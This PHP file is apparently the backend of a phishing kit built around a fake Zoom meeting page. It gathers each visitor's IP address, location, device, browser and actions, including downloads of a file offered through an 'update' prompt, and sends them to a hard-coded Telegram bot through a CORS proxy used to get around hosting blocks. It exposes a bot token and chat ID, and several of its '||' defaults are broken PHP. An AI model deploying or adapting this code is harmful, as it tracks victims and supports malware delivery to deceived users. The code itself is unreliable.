<?php
/**
 * open.php - Complete Tracking Endpoint
 * Receives all events from Zoom meeting HTML and forwards to Telegram
 */

// Enable error logging (disable in production)
error_reporting(E_ALL);
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', 'tracking_errors.log');

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, GET');
header('Access-Control-Allow-Headers: Origin, Content-Type, Accept, Authorization, X-Request-With');

// ============================================
// TELEGRAM CONFIGURATION - YOUR CREDENTIALS
// ============================================
$TELEGRAM_BOT_TOKEN = "6538589068:AAFF7U6wDW4QoQEUmKKzJBM7C33VbTKqFiQ";  // Your bot token
$TELEGRAM_CHAT_ID = "744124046";  // Your chat ID

// Optional: Multiple chat IDs for redundancy
$TELEGRAM_CHAT_IDS = [
    "744124046",
    // "SECOND_CHAT_ID_HERE",
];

// ============================================
// LOGGING CONFIGURATION
// ============================================
$LOG_FILE = "tracking.log";
$JSON_LOG_FILE = "tracking_json.log";
$VISITOR_LOG_FILE = "visitors.log";

// ============================================
// HELPER FUNCTIONS
// ============================================

/**
 * Get real client IP address (handles proxies)
 */
function getRealIP(): bool|string
{
    $ip = $_SERVER['REMOTE_ADDR'] || '0.0.0.0';
    
    $forwarded_headers = [
        'HTTP_CF_CONNECTING_IP',
        'HTTP_X_FORWARDED_FOR',
        'HTTP_X_REAL_IP',
        'HTTP_CLIENT_IP'
    ];
    
    foreach ($forwarded_headers as $header) {
        if (!empty($_SERVER[$header])) {
            $ips = explode(',', $_SERVER[$header]);
            $ip = trim($ips[0]);
            break;
        }
    }
    
    return $ip;
}

/**
 * Get detailed device information from User-Agent
 */
function getDeviceInfo($userAgent): string
{
    if (preg_match('/iPhone/i', $userAgent)) return "iPhone";
    if (preg_match('/iPad/i', $userAgent)) return "iPad";
    if (preg_match('/Android/i', $userAgent)) return "Android Phone";
    if (preg_match('/Windows Phone/i', $userAgent)) return "Windows Phone";
    if (preg_match('/Macintosh|Mac OS X/i', $userAgent)) return "Mac";
    if (preg_match('/Windows NT 10.0/i', $userAgent)) return "Windows 10/11";
    if (preg_match('/Windows NT 6.3/i', $userAgent)) return "Windows 8.1";
    if (preg_match('/Windows NT 6.2/i', $userAgent)) return "Windows 8";
    if (preg_match('/Windows NT 6.1/i', $userAgent)) return "Windows 7";
    if (preg_match('/Windows NT/i', $userAgent)) return "Windows";
    if (preg_match('/Linux/i', $userAgent)) return "Linux";
    return "Unknown";
}

/**
 * Get browser name from User-Agent
 */
function getBrowser($userAgent): string
{
    if (preg_match('/Edg/i', $userAgent)) return "Edge";
    if (preg_match('/Firefox/i', $userAgent)) return "Firefox";
    if (preg_match('/Chrome/i', $userAgent)) return "Chrome";
    if (preg_match('/Safari/i', $userAgent)) return "Safari";
    if (preg_match('/Opera|OPR/i', $userAgent)) return "Opera";
    if (preg_match('/MSIE|Trident/i', $userAgent)) return "Internet Explorer";
    return "Unknown";
}

/**
 * Get country from IP
 */
function getCountryFromIP($ip): string
{
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        return "Private/Local";
    }
    
    try {
        $url = "http://ip-api.com/json/{$ip}?fields=status,country,city,isp";
        $response = @file_get_contents($url);
        if ($response) {
            $data = json_decode($response, true);
            if ($data && $data['status'] == 'success') {
                return $data['country'] . ($data['city'] ? " - " . $data['city'] : "");
            }
        }
    } catch (Exception $e) {}
    
    return "Unknown";
}

/**
 * Send message to Telegram using cURL (MORE RELIABLE!)
 */
/**
 * Send message to Telegram via free proxy (bypasses hosting blocks)
 */
function sendToTelegram($message, $botToken, $chatId): bool
{
    // Use a free CORS proxy that allows outbound requests
    $proxyUrl = "https://corsproxy.io/?" . urlencode("https://api.telegram.org/bot{$botToken}/sendMessage");
    
    $postData = [
        'chat_id' => $chatId,
        'text' => $message,
        'parse_mode' => 'HTML',
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $proxyUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/x-www-form-urlencoded',
    ]);
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return $httpCode == 200;
}

/**
 * Send to multiple Telegram chats
 */
function sendToTelegramMultiple($message, $botToken, $chatIds): bool
{
    $success = true;
    foreach ($chatIds as $chatId) {
        if (!sendToTelegram($message, $botToken, $chatId)) {
            $success = false;
        }
        usleep(100000);
    }
    return $success;
}

/**
 * Format duration from milliseconds
 */
function formatDuration($ms): string
{
    if (!$ms) return "N/A";
    $seconds = round($ms / 1000, 1);
    if ($seconds < 60) return "{$seconds} seconds";
    $minutes = floor($seconds / 60);
    $secs = $seconds % 60;
    return "{$minutes}m {$secs}s";
}

/**
 * Format file size
 */
function formatFileSize($bytes): string
{
    if (!$bytes) return "N/A";
    $units = ['B', 'KB', 'MB', 'GB'];
    $i = 0;
    while ($bytes >= 1024 && $i < count($units) - 1) {
        $bytes /= 1024;
        $i++;
    }
    return round($bytes, 1) . ' ' . $units[$i];
}

/**
 * Get emoji for event type
 */
function getEventEmoji($eventType): string
{
    $emojis = [
        'page_loaded' => '🌐',
        'join_button_clicked' => '🔵',
        'meeting_joined' => '✅',
        'leave_button_clicked' => '❌',
        'mic_toggled' => '🎤',
        'video_toggled' => '📹',
        'chat_opened' => '💬',
        'chat_closed' => '💬',
        'chat_message_sent' => '✉️',
        'participants_list_opened' => '👥',
        'participants_list_closed' => '👥',
        'update_modal_shown' => '⚠️',
        'download_started' => '📥',
        'download_completed' => '✅',
        'download_failed' => '❌',
        'download_error' => '⚠️',
        'page_closed' => '🚪',
        'visibility_changed' => '👁️',
        'audio_enable_button_clicked' => '🔊',
    ];
    return $emojis[$eventType] || '📌';
}

// ============================================
// MAIN PROCESSING
// ============================================

// Handle download request

// Get the JSON data sent from HTML
$inputJSON = file_get_contents('php://input');
$data = json_decode($inputJSON, true);

// If no data received, log and respond
if (!$data) {
    http_response_code(400);
    echo json_encode(['error' => 'No data received']);
    exit;
}

// Log raw JSON for debugging
file_put_contents($JSON_LOG_FILE, $inputJSON . PHP_EOL, FILE_APPEND);

// Extract event details
$eventType = $data['eventType'] || 'unknown';
$sessionId = $data['sessionId'] || 'unknown';
$meetingId = $data['meetingId'] || 'unknown';
$timestamp = $data['timestamp'] || (time() * 1000);
$userAgent = $data['userAgent'] || $_SERVER['HTTP_USER_AGENT'] || 'unknown';
$screenSize = $data['screenSize'] || 'unknown';
$inMeeting = $data['inMeeting'] || false;

// Get server-side information
$ip = getRealIP();
$device = getDeviceInfo($userAgent);
$browser = getBrowser($userAgent);
$country = getCountryFromIP($ip);
$requestTime = date('Y-m-d H:i:s');
$referer = $_SERVER['HTTP_REFERER'] || 'Direct';

// Log to simple visitor log
$logLine = "[$requestTime] $eventType | Session: $sessionId | IP: $ip | Device: $device | Browser: $browser | Country: $country" . PHP_EOL;
file_put_contents($LOG_FILE, $logLine, FILE_APPEND);

// ============================================
// BUILD TELEGRAM MESSAGE
// ============================================

$emoji = getEventEmoji($eventType);
$message = "{$emoji} <b>" . strtoupper(str_replace('_', ' ', $eventType)) . "</b>\n";
$message .= "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
$message .= "🆔 Session: <code>" . substr($sessionId, 0, 20) . "</code>\n";
$message .= "📍 Meeting: <code>$meetingId</code>\n";
$message .= "🕐 Time: " . date('Y-m-d H:i:s', $timestamp/1000) . "\n";
$message .= "🌐 IP: <code>$ip</code>\n";
$message .= "🌍 Location: $country\n";
$message .= "💻 Device: $device\n";
$message .= "🖥️ Browser: $browser\n";
$message .= "📱 Screen: $screenSize\n";
$message .= "🎯 In Meeting: " . ($inMeeting ? "Yes" : "No") . "\n";

// Add event-specific details
switch($eventType) {
    case 'join_button_clicked':
        $message .= "━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━\n";
        $message .= "🔘 User clicked JOIN button\n";
        break;
    case 'meeting_joined':
        $message .= "━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━\n";
        $message .= "✅ User successfully joined the meeting\n";
        break;
    case 'leave_button_clicked':
        $duration = $data['meeting_duration_ms'] || null;
        $message .= "━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━\n";
        $message .= "❌ User clicked LEAVE button\n";
        if ($duration) $message .= "⏱️ Meeting duration: " . formatDuration($duration) . "\n";
        break;
    case 'mic_toggled':
        $newState = $data['new_state'] || 'toggled';
        $message .= "━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━\n";
        $message .= "🎤 Microphone: " . ($newState == 'enabled' ? "🔴 MUTED" : "🟢 UNMUTED") . "\n";
        break;
    case 'video_toggled':
        $newState = $data['new_state'] || 'toggled';
        $message .= "━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━\n";
        $message .= "📹 Camera: " . ($newState == 'enabled' ? "🟢 ON" : "🔴 OFF") . "\n";
        break;
    case 'download_started':
        $message .= "━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━\n";
        $message .= "📥 DOWNLOAD STARTED\n";
        break;
    case 'download_completed':
        $duration = $data['duration_ms'] || 0;
        $fileSize = $data['file_size'] || 0;
        $filename = $data['filename'] || 'unknown';
        $message .= "━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━\n";
        $message .= "✅ DOWNLOAD COMPLETE\n";
        $message .= "📁 File: <code>$filename</code>\n";
        $message .= "📦 Size: " . formatFileSize($fileSize) . "\n";
        $message .= "⏱️ Duration: " . formatDuration($duration) . "\n";
        break;
    case 'download_failed':
        $reason = $data['reason'] || 'unknown';
        $message .= "━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━\n";
        $message .= "❌ DOWNLOAD FAILED\n";
        $message .= "⚠️ Reason: $reason\n";
        break;
    case 'page_closed':
        $duration = $data['session_duration_ms'] || null;
        $message .= "━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━ ━\n";
        $message .= "🚪 PAGE/TAB CLOSED\n";
        if ($duration) $message .= "⏱️ Total session: " . formatDuration($duration) . "\n";
        break;
    default:
        // No additional details
        break;
}

$message .= "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
$message .= "🔗 Referer: " . ($referer != 'Direct' ? parse_url($referer, PHP_URL_HOST) : 'Direct') . "\n";

// ============================================
// SEND TO TELEGRAM
// ============================================

// Always try to send (don't check for placeholders)
$sendResult = sendToTelegram($message, $TELEGRAM_BOT_TOKEN, $TELEGRAM_CHAT_ID);

// Log if send failed
if (!$sendResult) {
    file_put_contents($LOG_FILE, "[$requestTime] FAILED to send to Telegram for event: $eventType" . PHP_EOL, FILE_APPEND);
}

// Send to multiple chats if configured
if (isset($TELEGRAM_CHAT_IDS) && is_array($TELEGRAM_CHAT_IDS)) {
    sendToTelegramMultiple($message, $TELEGRAM_BOT_TOKEN, $TELEGRAM_CHAT_IDS);
}

// Save message to file as backup
file_put_contents('telegram_messages.log', $message . PHP_EOL . PHP_EOL, FILE_APPEND);

// ============================================
// RESPOND TO HTML
// ============================================

http_response_code(200);
header('Content-Type: application/json');
echo json_encode([
    'status' => 'ok',
    'message' => 'Event tracked successfully',
    'timestamp' => time()
]);

// Log to visitor file
$visitorLog = "[$requestTime] IP: $ip | Session: $sessionId | Event: $eventType | Device: $device | Telegram Sent: " . ($sendResult ? 'Yes' : 'No') . PHP_EOL;
file_put_contents($VISITOR_LOG_FILE, $visitorLog, FILE_APPEND);
?>